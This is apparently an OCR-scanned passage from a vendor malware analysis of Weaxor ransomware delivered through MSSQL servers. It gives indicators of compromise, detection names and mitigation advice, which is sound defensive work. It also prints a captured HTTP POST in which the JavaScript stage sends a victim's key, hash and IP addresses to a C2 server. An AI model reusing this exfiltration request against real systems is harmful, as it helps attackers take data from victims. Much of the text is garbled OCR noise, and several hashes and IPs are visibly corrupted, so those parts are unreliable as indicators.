FL Gk mTERTE vl Tt PACE e {VATEF R S TGy 4R LIErDAOT Tl npdw 0w | £ FtuBElibe 07 e L 1 2N aquiS TO A AALF pOh wSD EPLARC ATY henbioT -
HATROR A te pomlxe TEEY et By PO = | oD Juf TR 2uelAG G QPR DRONYTX T el ald -
BRI L Ly Ok 1P SaMas bR T OWY dmk P GhqOat s [ jultibazh SOgrWt T stri s L5Lageke 1_cpluZip 1 TSL ] sORPAWE AHDDF gl TEVAVIL £ U2YangIL_tOchll
OvTeXEptlFARLtrir_RiaIoetFGLar ghviy -
| WS e 1y fmVi_B1 U OAT o L JYTE3-2_oTy 2y 2 1ge 1 SquitvlVbguud Ve { ke Lang Wi I L BN h ety VG i Reve g Toy 350 vRSuOEF SebThithe _AZFWVESVT
Koy 1 CWUS I sy T Ky By LS UM yICF e Loy i e o § TKpri_opaFaraghis-YRIGAF Jevie Lk AL cyud FPRmquel shgg et rms FRFjSL-
wOndrcd € TATy 9 nd LoP L § Sdtyiite 1 TRADASoEBGHKE TVET g et e 6L VRGP TSEOGLIMUSROT Tl tavg il hpe oy __ pinsDMO0ak0e iy Tay fy Irkasase if
mEyFril - SAcWBKnF Ne FrmgDObe THZ sURTHARaL T iviehn TMN - S 50kATFr 2kich EGAxT 15 - glmIoLnts -
¥LOAB0L Tl sl §1 kBl T BoggL JFVIGAL~BA I4 3 1EPalpVHGOTID T S4TE TnHT _Bebl )yl MITEScw i - PyEul BnBdDT 612 2kvP ATH:
FEAZ Tha o THEWa T el Ooeg( Fab W atu IUpW S5m0 s ey MO SvITrdal odsd s FOR -
HeLsWRFFCSOVTEndl 610rdRy_KubenSTE fndMayyDims0zE Trieet 1pF0s4kR ] owi Naglitheds SGuEViGe JLB- P M0T 2 16p I T1855YIZ- IrAFCo -
ugJ.5z_m1.-2xmm:wwlmueuunmmm1mum LESAINVF LprBaNEy_ellBkeGlomdeN ] TeMT LeW] I - u2 - Frobdilighall 1G-
P OTRNTHUGET nUlkxaR el ver rHdHDIDOSGeF ] o T jTSyPaeg jRay2 iadTHMCx hORDTIF JRdcmM N hE L all2d 1tk F BhT By IME 1GTT 2h § YOy TETINGFRL DL
MU A TG T LCTVhET g6 2ol - il USIUs B JrivvIrimud -V ICE-qiD- EICq9 Xy St Lo _CymeP0edl PRIV IF{NvIribe i glutmimhlov 2KV T2RMy L -
Y137z 19e09ns 26 1uf 22962 e glac IS a I SwssTaTauIbthle -
QFfE_rBEaftixDaHat KHDTORAHeOUE ] ¢ DaInRCSTATRO PGS L -8R 1KIE §S620P 1 Mear TCAS TR Y 3pu 2 LeCnnVpgZ BT TV _Saur
FIAS TTTAL GTHB ) fosF Tl % T Froprifincy | F e Dyl A0 TABy 2 =
S T By R PG ST e B0 v S K EVEyUdy G PalwaB  LOBE £ 20y I 1 5H TV R TS50 TN NG pive 11 2ulouiwg g baddobes Qrino ke L ute: My gdAZALY
v izyneBsNZdIN yREE - 14qPatSUBRTES GpcUiIpySh
1igEP jFmeC0c L 1EFWIE TV VIEH_UEThiBgy Y1 ddohBogS Pt TShbXL g KLU ETrOSc pt VAR TR §ING 2 YphlT0pGD fn - or he 3WEKdBBA gl T -
DS E 7 imoi S v ahkoRAIRS B a Thg IS cut Ty - THeOTQMDRS T LiwosSgiy 00T DEh s dF A BgpRS mmapy Iy 200y ENT AT JKRETL J4rMWIbTE) -5+
0T luf L6t 206ps Thime] TEOqnSnkdvVELOS 1V - 2 FF NFIE_VRETSbaMMoKSVE xpaLVEE 1e52 jkmpfigq:c- ETEKEADELMhK 25 ] geerpXgpdvl oz -
| J3285vF Eni k2005 19bEBhALnHoliF 31 ZHve Bpdnttby L T tvd I zgFin T SCChMO ziwSew 7184 IWC LY B2 6eoim3gt TV Vied T 3 lew e Snhl !Iﬂl:l:lpltTﬂ.?'n's_
PYELAesUFGLAR rSFAvEYLET - L sxuTWdn 3Thel 1 pl RIHG Y - x 2RO rG2ED wHIENG] TYENHT v
HETQUk L I KU IO GG R 2k WES IOV TEVYRGP Luln 3mLAvF X LmGL ymhighd 0o TBen_pSudRbish T4 Thiwe_vidsCkhTFhriegiulenag_sgl_sevn
RPQVe IgT T FCAsOE Ll kR FGYRbasiie - 87 Lye L KOGL SublfMiemglighail - 1kF7dediof gzt - thiebis -
TREUZTYEE 53 I RE T SaNYP eSS E RPN g i REQuhc d InTOGERO0NL TY JIF gt RUad sty S aeL JHnN T ovidi it 01 T4g Te QgD Fumdg 7w 557§
ARGeA 1T il i WA AE A T s et Tl O]l PR Tyl W] o0l Te R T aaw I Taclill 16 Dl e b7 SAN1 S50 salts ekl hmatieF 1 =Sl 5

Fig 26

-

lllustrates data transfer between the victim and C2 server using the JavaSs-

cript file.

POST /UjduBjjooue/biweax.php HTTR/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: multipart/form-data; boundary=---------------------—- _

Accept: */*

User-Agent: Mozilla/5.8 (Windows NT 16.8; wined; x64; rv:130. (NG
Content-Length: 1889

Host: 193.143.1.139

Content-Disposition: form-data; name="hash"

Content-Disposition: form-data; name="key_of_ target™

Content-Disposition: form-data; name="external_IP"

35.186.131.2689

Content-Disposition: form-data; name="internal_IP"

Fig 27
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Subsequent C2 communication connects to Weaxor ransomware's server
at 35.186.131.209, likely for further stages of infection.

Status of C2 Servers

The identified C2 servers are inactive, limiting current threat propagation.

Indicators of Compromise (IOCs)

Hashes SHA-256:

- 4efOa54cac7d8508ae5aac157d854fb74
cal71d4868014dc1f55e393e74b6eec

- A2714b0c0a855cb299bb1f028554c28006362c68d2
fa62465521cdelf0792bcb

- E21cbdbf6414ffc0ef4175295c7e188800a66b7b83302bd35b7e3fd6fabfccde

b7d242aacf6725bbe33448991f793fdbled107e4d6c80ec19e9f4bd774318fcb

- 378f374d6b537b28c88b35e1186d41f876a3b189b776541bdfa2d6cbf-
baab3al

- 179b1f88b55532bd9a4093e6f654761fa404796b11a6¢c23acd109dfb7fad0039

- ceebobd1255fa62732ffeefac3f4f30c8d43731ee680fca523a99flac48355224

IP Addresses / URLs:

- hxxps[:]//directxapps|.]Jshop
. 203[]55[.]176[.]72
J193[143[1[]139

- 35[.]186[.]131[.]209

Detection covered by Segrite:

Script.Trojan.Script.42926
Weaxor.Ransomware.49258.GC
Ransom.Weaxor.534629609
Script.Downloader.49222
HEUR:Trojan.Win32.<***>
HEUR:Ransom.Win32.<***>
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Recommendations for Mitigation

- Ensure Seqgrite / Quick Heal is regularly updated with the latest defini-
tions.

- Patch MSSQL servers and keep them updated.

- Use strong, unique passwords.

- Restrict MSSQL server network access.

- Monitor sqlps.exe usage and encoded PowerShell commands.

- Deploy robust EDR solutions to detect process injection and AMSI
bypass attempts.
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